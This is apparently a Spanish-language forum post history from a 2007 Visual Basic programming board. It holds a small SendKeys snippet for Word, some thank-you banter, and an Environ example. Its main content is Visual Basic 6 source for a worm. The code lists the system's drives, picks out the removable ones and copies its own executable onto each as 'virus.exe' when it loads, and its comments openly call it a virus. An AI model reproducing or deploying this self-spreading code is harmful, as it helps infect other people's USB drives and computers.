Código [Seleccionar]
AppActivate "Microsoft Word"
DoEvents
SendKeys "Hola, estoy escribiendo en el word!"
Testeado en Word 2003 y funciona perfectamente
EDIT: Arrgh!! se me adelantaron xD
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú AppActivate "Microsoft Word"
DoEvents
SendKeys "Hola, estoy escribiendo en el word!"
Cita de: Meg en 3 Abril 2007, 22:33 PMUmmm, no creo que merezca un trato especial para mi sources, prefiero ir abriendo un post para cada source, asi lo podemos comentar y mejorar, si los pongo todos en uno se juntarán todas las dudas/sujerencias/mejoras y será un lío...
podrias poner un post con todos tus codigos,en ese post se blokea y se le pone chincheta,yo creo k seria lo mejor para tener recopilados todos tus codigos ya que son buenos y utiles... solo es una idea xD que os parece??
Cita de: E0N en 3 Abril 2007, 00:05 AMDigamos que tengo una época generosa... tengo más códigos para regalar pero los publicaré poquito a poco, tantos de golpe no se asimilan bien
Joe ultimamente estas q regalas los codigos xDD gracias (de nuevo)
Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6
'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
Dim i As Long
Dim tmp As Long
Dim drives As String
tmp = GetLogicalDrives()
If tmp Then
For i = 0 To 25
If (tmp And 2 ^ i) <> 0 Then
drives = drives & Chr$(i + 65) & ":#"
End If
Next
End If
EnumDrives = drives
'La variable drives almacena todas
'las unidades en formato "A:#C:#D:#E:#"
End Function
Function GetType(ByVal drives As String)
Dim tmp() As String
'Separamos las unidades según el caracter #
tmp = Split(drives, "#")
For i = 0 To UBound(tmp) - 1
If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
'Llamamos a la función de infectar la unidad
'si es del tipo DRIVE_REMOVABLE
Call InfectDrive("virus.exe", tmp(i))
End If
Next
End Function
Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
'Importante, no siempre tenemos acceso de escritura
'en las unidades, sin esta linea podríamos "matar"
'nuestro virus :(
On Error Resume Next
Dim MySelf As String
MySelf = String$(255, Chr$(0))
'Obtenemos nuestra propia ruta
GetModuleFileName 0, MySelf, Len(MySelf)
'Nos copiamos en la unidad con el nombre de "virus.exe"
FileCopy MySelf, drive & "\" & FileName
End Function
Private Sub Form_Load()
'Empieza la juerga!
Call GetType(EnumDrives)
End Sub
Cita de: SheKeL_C$ en 2 Abril 2007, 09:31 AM
No conocia lo de Environ
Disco = Environ("HOMEDRIVE")
Windows = Environ("SYSTEMROOT")
Programs = Environ("PROGRAMFILES")